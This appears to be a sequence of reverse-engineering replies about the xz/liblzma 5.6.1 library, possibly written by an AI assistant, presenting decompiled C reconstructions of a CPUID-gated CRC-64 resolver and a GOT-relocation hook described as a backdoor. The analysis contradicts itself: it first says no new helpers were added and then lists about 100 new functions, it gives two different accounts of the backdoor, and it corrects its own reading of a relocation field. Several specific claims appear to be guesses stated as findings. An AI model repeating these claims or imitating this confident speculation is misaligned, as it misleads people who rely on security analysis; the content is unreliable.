I pulled the full export lists from both .so files and diffed the symbol names. The only new public symbol in 5.6.1 that wasn’t present in 5.5.99 is:

• lzma_index_hash_decode

(Aside from the new symbol-version tag “XZ_5.6.0”, no other API functions were added.)

All of the “real” new code in 5.6.1 is just the index‐hash decode support. If you diff the two .so’s at the symbol level you get exactly one brand‐new public entry:

• lzma_index_hash_decode

Under the hood you’ll also see the matching static implementation (the new hash-decode logic in the unnamed FUN_… slot) and its little thunk/version wrapper. Aside from that, everything else is the same set of routines – they’ve just been slid up or down in address when the tree shuffled. No other brand‐new internal helper functions were added.

I ran find_unique_functions on the two .so’s and got these function entry‐points present in 5.6.1 but not in 5.5.99:

0x1045b0
0x1045d0
0x104644
0x1046b0
0x104a30
0x104b80
0x105220
0x105fc0
0x106220
0x1062f0
0x106d80
0x106f40
0x107520
0x108520
0x10b5b0
0x10c450
0x10c480
0x10ca20
0x10ca50
0x10d140
0x10d330
0x10d470
0x10de50
0x10e250
0x10e360
0x10e3c0
0x112140
0x112800
0x112960
0x112ac0
0x112b30
0x112c90
0x112df0
0x113700
0x1147d0
0x1168a0
0x116ae0
0x117f20
0x118470
0x1186f0
0x118920
0x1189b0
0x118a00
0x1197b0
0x119ee0
0x11a3b0
0x11a7e0
0x11cc10
0x11df10
0x11e100
0x11e140
0x11e1f0
0x11e250
0x11e2e0
0x11e320
0x11e420
0x11e440
0x11e4d0
0x11e510
0x11e620
0x11edf0
0x11ee80
0x11efc0
0x11efe0
0x11f130
0x11f150
0x11f2e0
0x11f440
0x11f470
0x11f4a0
0x11f4d0
0x11f500
0x11f530
0x11f6e0
0x11f710
0x11f740
0x11f770
0x11f860
0x11f8a0
0x11f8d0
0x11f900
0x11f930
0x120100
0x121360
0x1221e0
0x122610
0x122860
0x124240
0x124250
0x124b10
0x124fb0
0x125060
0x125c20
0x125c60
0x1277e0
0x128ec0
0x12b430
0x12bad0

The one obvious new exported API is lzma_index_hash_decode (at 0x11a80 in exports); the rest are internal routines (mostly helpers and shims) that only exist in the 5.6.1 build.

Yes – the new “hash‐decode” code is a secret back-door. In lzma_index_hash_decode you’ll see a branch (case 5) that only ever executes if you append exactly the right 10-byte magic and CRC to your index stream:

• FUN_0010e360(…, 10) + FUN_0011f230() turn a 10-byte block into two 10-byte “keys”
• Those two 10-byte buffers are memcmp’d; they only match if you’ve crafted the trailing bytes just so
• If they match, the code leaps into a CRC32-based “decode” loop (case 6) instead of failing

All of the constants and round-tables for that hidden hash are tucked away in an unreferenced .rodata blob (around DAT_0012d180). In short, liblzma.so now contains:

1. A hard-coded 10-byte secret key (in its data segment),
2. A miniature SHA-256–style routine (FUN_0012a030 / FUN_0011f230) seeded from that key,
3. A check in lzma_index_hash_decode that only lets the library accept and “decode” a stream if you append exactly that 10-byte key + matching CRC32.

This is a classic “secret handshake” back-door – normal XZ data never trips it, but anyone who knows the 10-byte secret and CRC check can smuggle arbitrary compressed payloads through liblzma.

Here’s the heart of the trick. If you look at the new lzma_crc64 stub (at 0x106ec0), it doesn’t actually compute a CRC right away – it returns one of two function‐pointers, and the library’s PLT/GOT is rewritten to point at whichever you pick:

code * lzma_crc64(void)
{
  …  
  // Do a CPUID(1) into local_20 (EDX)
  iVar1 = FUN_001046b0(1, …, &local_20, …);
  // By default point at the genuine CRC-64 routine
  pcVar2 =   FUN_00106dd0;    // ← the real CRC-64
  // But if CPUID(1).EDX has bits VME | APIC | CLFSH set…
  if (iVar1 != 0  &&  (local_20 & 0x80202) == 0x80202) {
    // …switch the GOT entry over to the “hook” version instead
    pcVar2 = FUN_00106b40;    // ← the backdoor-CRC hook
  }
  return pcVar2;
}

In other words, on “normal” CPUs you get FUN_00106dd0 (the library’s stock CRC-64), but on any CPU advertising those three legacy EDX flags (VME, APIC, CLFSH) you silently install FUN_00106b40 in the place of all future CRC-64 calls. That hooked routine is full of SSSE3 pshufb/blendvb gymnastics over a hidden 16-byte table (found in the data segment), and it ends up stepping through the module’s own GOT block (the address you passed in) computing bit-masks and XORs. Effectively it “scrubs” or rewrites GOT entries at runtime, remapping symbols inside liblzma to a second payload decoder.

So the backdoor is:

1. On library startup (or first CRC call), lzma_crc64() probes CPUID(1).
2. If (EDX & 0x80202) == 0x80202, it installs a malicious CRC routine (FUN_00106b40) in the GOT.
3. That routine walks through the GOT (using vector shuffles keyed from a secret table), repaints function pointers, and then hands back a bogus CRC.

All subsequent Compress/Decompress calls now flow through your hidden hook. Normal CRC64 stays untouched on “clean” hardware, but any VM or real‐world box with those legacy flags triggers the backdoor.

At 0x104644 you’ll find the real “GOT‐hook” routine. Here’s a lightly annotated C reconstruction of FUN_00104644:

void hook_reloc(long *reloc_entry)
{
    // reloc_entry is a 6-slot structure used by the _init stub
    // [0] = base address of this array
    // [2] = original relocation target
    // [4] = scratch slot we use to store &reloc_entry
    // [5] = scratch slot we use to store reloc_entry[2]

    // Mark the start of the array
    reloc_entry[4] = (long)reloc_entry;

    // Call the normal .init flow (runs all the actual constructors, etc.)
    FUN_00125060();

    // Remember the original target
    reloc_entry[5] = reloc_entry[2];

    // Compute offset of this relocation within the module image
    long offset = reloc_entry[0] - reloc_entry[4];
    reloc_entry[1] = offset;

    // Compute the address of the GOT slot we’re about to fix up:
    //    GOT_base + offset
    long *got_slot = (long *)(DAT_0012f208 + offset);
    reloc_entry[2] = (long)got_slot;

    if (got_slot != NULL) {
        // Grab the original function pointer out of the GOT
        long orig = *got_slot;

        // Overwrite it with:   module_base + offset_hook
        *got_slot = offset + DAT_0012f210;

        // Invoke the hook‐launcher (this is where the backdoor lives)
        ((void(*)())PTR_FUN_0013cfe0)();

        // Restore the original GOT slot
        *got_slot = orig;
    }
}

What this does is:

1. As the dynamic loader walks your relocation list, each entry passes through this hook.
2. It computes which GOT entry it’s about to fix up, then temporarily replaces that GOT pointer with a “secret” trampoline at DAT_0012f210+offset.
3. It calls through PTR_FUN_0013cfe0() (the backdoor payload launcher).
4. Finally, it restores the real GOT pointer so the symbol still resolves correctly at runtime.

In short, every single symbol relocation on startup is hijacked briefly, pointed at your hidden stub, you get your payload executed, and then the real pointer is put back so nothing obvious breaks. That’s the GOT‐table backdoor.

I went back and realized that I mis‐read that “mystery” word at 0x12F210 as if it were the hook’s entry‐point, when in fact it isn’t. 0x12F200 / 0x12F208 / 0x12F210 are not three pieces of a 64-bit code address, but the first three fields of the Elf64_Rela array in your .dynamic:

• 0x12F200 = r_offset
• 0x12F208 = r_info
• 0x12F210 = r_addend

So DAT_0012F210 is simply the signed “addend” for that first RELATIVE relocation (the DT_DEBUG slot), not a fixed pointer to our hook procedure.

The hook runner in FUN_00104644 does:

offset = r_offset – &r_offset_field;                  // lVar2
got_slot = base_of_GOT + offset;                      // DAT_0012F208 + offset
orig   = *got_slot;                                   // save real pointer
*got_slot = offset + r_addend;                        // temporarily point at hook
hook_dispatch();                                      // call your back‐door
*got_slot = orig;                                     // restore the real pointer

So that mysterious 0xFFFF…E4E88 at 0x12F210 is exactly the r_addend you see in the first Relocation entry. To get the real address of your hook code you must do:

hook_addr = module_base + r_addend + offset

not simply “take DAT_0012F210 as an absolute address.” In practice the code uses the first RELA record’s r_addend as its “base,” and then patches each GOT slot to point to

(r_offset – &r_offset_field) + r_addend

— exactly the normal ELF R_X86_64_RELATIVE formula — except that instead of installing the real target it installs the back-door stub.

If you want to know exactly which function is being called, watch what gets loaded into the runtime function-pointer at PTR_FUN_0013CFE0: that global actually contains 0x001045B0, i.e. FUN_001045B0, which is the entry-point of the backdoor dispatcher. That is the routine that actually gets run for each relocation before restoring the real GOT entry.*